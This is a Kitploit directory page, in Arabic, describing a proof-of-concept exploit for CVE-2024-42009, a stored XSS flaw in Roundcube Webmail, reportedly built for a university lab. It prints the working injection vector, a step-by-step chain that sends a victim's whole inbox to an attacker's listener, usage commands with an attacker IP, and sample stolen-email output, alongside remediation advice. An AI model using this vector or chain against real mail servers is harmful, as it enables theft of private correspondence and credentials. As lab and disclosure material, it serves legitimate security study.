Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-42009-roundcube-xss | Kitploit
أدوات/GitHubGitHub/segunakinsoyinu/cve-2024-42009-roundcube-xss
أدوات التصيدالاستغلالاستغلال تطبيقات الويبتسريب البياناتCTFاختبار الاختراقالتعلم والتعليم
GitHubsegunakinsoyinu/cve-2024-42009-roundcube-xss

CVE-2024-42009-roundcube-xss

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

CVE-2024-42009 — برهان المفهوم (PoC) لثغرة XSS المخزنة في Roundcube Webmail 1.6.6

للاستخدام في الاختبارات الأمنية المصرّح بها، وبيئات CTF، والأبحاث التعليمية فقط.
استخدام هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها يُعد غير قانوني بموجب قانون إساءة استخدام الحواسيب لعام 1990 (المملكة المتحدة)، وقانون CFAA (الولايات المتحدة)، والقوانين المماثلة في جميع أنحاء العالم.


ملخص الثغرة

الحقلالتفاصيل
CVECVE-2024-42009
البرنامج المتأثرRoundcube Webmail ≤ 1.6.6
الإصدار المُصحَّح1.6.7 / 1.6.8
درجة CVSS v3.18.8 (عالية)
متجه CVSSAV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
CWECWE-79 — عدم التحييد السليم للمدخلات أثناء توليد صفحة الويب (XSS)
نوع الهجومXSS مخزنة → استخراج البريد الإلكتروني بدون نقرات (Zero-click)
المصادقة المطلوبةلا شيء (تسليم عبر SMTP)؛ منخفضة (يجب على الضحية فتح البريد الإلكتروني)

كيف تعمل الثغرة

يفشل مُعقّم HTML في Roundcube 1.6.6 في إزالة معالجات أحداث JavaScript المرتبطة بإطارات الرسوم المتحركة CSS الرئيسية (keyframes) داخل سمة وسم <body> غير سليمة.

متجه الحقن:

root@kitploit:~
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* arbitrary JS */">

سلسلة الاستغلال:

root@kitploit:~
1. Attacker sends malicious HTML email to victim via unauthenticated SMTP relay (port 25)
2. Victim opens email in Roundcube — animation fires, JS executes (zero clicks required)
3. JS reads rcmail.env.request_token (valid CSRF token for the session)
4. JS iterates all inbox UIDs via Roundcube's internal mail API
5. Each message is fetched and its content collected
6. All inbox data is POSTed as JSON to the attacker's HTTP listener
7. Attacker reads recovered emails — may contain credentials, session data, or sensitive communications

بنية المستودع

root@kitploit:~
cve-2024-42009-roundcube-xss/
├── exploit.py       # Sends the XSS payload via unauthenticated SMTP
├── listener.py      # CORS-capable HTTP server; receives and prints exfiltrated inbox data
├── payload.html     # Standalone XSS payload for manual inspection or Burp delivery
└── README.md

المتطلبات

  • Python 3.7+
  • لا توجد تبعيات خارجية (المكتبة القياسية فقط: smtplib، http.server، json، argparse)
  • يجب أن يشغّل النظام الهدف Roundcube ≤ 1.6.6
  • يجب أن يسمح خادم SMTP الهدف بالتمرير غير المصادَق (relay) على المنفذ 25 (شائع في بيئات المختبر)

الاستخدام

الخطوة 1 — تشغيل المستمع (على جهاز المهاجم)

root@kitploit:~
python3 listener.py --port 8080

المخرجات عند وصول البيانات:

root@kitploit:~
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19

  --- Email 1 ---
  UID     : 1
  From    : [email protected]
  Subject : SSH Access Credentials
  Body    : Your credentials are: ...

يُحفظ تفريغ JSON الكامل تلقائيًا في exfil_dump.json.

الخطوة 2 — تسليم الحمولة

root@kitploit:~
python3 exploit.py \
  --smtp 192.168.62.128 \
  --port 25 \
  --from [email protected] \
  --to [email protected] \
  --attacker 192.168.62.129 \
  --lport 8080 \
  --subject "Security Advisory - Action Required"

الخطوة 3 — انتظار فتح الضحية للبريد الإلكتروني

بمجرد فتح البريد الإلكتروني في Roundcube ≤ 1.6.6، سيقوم المستمع بطباعة محتويات صندوق الوارد المسرّبة.


لماذا ينجح هذا (تفاصيل تقنية)

منقّي HTML في Roundcube مسؤول عن إزالة السمات الخطرة قبل عرض HTML الخاص بالبريد الإلكتروني الوارد. في الإصدارات ≤ 1.6.6، يزيل المنقّي بشكل صحيح معالجات onclick وonerror وما شابهها — لكنه لا يزيل معالجات الأحداث المرتبطة بأحداث الرسوم المتحركة CSS (onanimationstart، onanimationend، onanimationiteration).

نظرًا لأن الرسوم المتحركة CSS تشتعل كجزء من عملية العرض (وليس كتفاعل من المستخدم)، يتم تنفيذ المعالج لحظة فتح البريد الإلكتروني — دون أي نقرة على رابط، ودون أي إجراء من المستخدم سوى فتح الرسالة.

كائن JavaScript rcmail متاح عالميًا في كل جلسة Roundcube مصادَق عليها. وهو يكشف rcmail.env.request_token، أي رمز CSRF الخاص بالجلسة. وبالاقتران مع نقاط نهاية واجهة برمجة تطبيقات البريد الخاصة بـ Roundcube (?_task=mail&_action=list، ?_action=show)، يمكن للحمولة قراءة صندوق الوارد بالكامل دون إثارة أي مصادقة إضافية.


الإصدارات المتأثرة

الإصدارالحالة
≤ 1.6.6متأثر
1.6.7مُصحَّح
1.6.8مُصحَّح (موصى به)
1.5.x LTSراجع نشرة البائع الأمنية

المعالجة

الإجراءالتفاصيل
الترقيةالإصدار Roundcube 1.6.8 أو أحدث يصحّح هذه الفئة من ثغرات XSS
ترويسة CSPانشر Content-Security-Policy: default-src 'self'; script-src 'self' على مضيف الويب (vhost) الخاص بالبريد الإلكتروني لمنع تنفيذ JavaScript المضمّن

المراجع

  • نشرة Roundcube الأمنية
  • NVD — CVE-2024-42009
  • OWASP Top 10 A03 — الحقن

الاكتشاف والعرض بواسطة

طُوّر برهان المفهوم (PoC) هذا واختُبر كجزء من تقييم اختبار اختراق CTF من نوع Boot-to-Root ضمن وحدة الاختراق الأخلاقي واختبار الاختراق، برنامج MSc في الأمن السيبراني، جامعة كوفنتري (2025–2026). أُجريت جميع الاختبارات في بيئة مختبرية معزولة على VMware وبإذن كتابي صريح.

المؤلف: Segun Akinsoyinu
محفظة الأعمال: segunakinsoyinu.github.io/MyPortfolio


إشعار قانوني

يُنشر هذا الكود لأغراض البحث الأمني التعليمي والمصرّح به فقط. لا يتحمّل المؤلف أي مسؤولية عن سوء الاستخدام. قبل استخدام هذه الأداة، تأكد من حصولك على إذن كتابي صريح لاختبار النظام الهدف.

تنزيل الأداة
الوسيطالوصف
--smtpعنوان IP أو اسم مضيف خادم SMTP الهدف
--portمنفذ SMTP (الافتراضي: 25)
--fromعنوان المرسل (أي قيمة يقبلها المرحّل)
--toعنوان البريد الإلكتروني للضحية
--attackerعنوان IP الخاص بك — يُضمَّن في الحمولة كوجهة لجمع البيانات المسرّبة
--lportمنفذ المستمع الخاص بك (الافتراضي: 8080)
--subjectسطر موضوع البريد الإلكتروني
مرحّل SMTPعطّل التمرير غير المصادَق على المنفذ 25 — واطلب AUTH لجميع عمليات التسليم الداخلية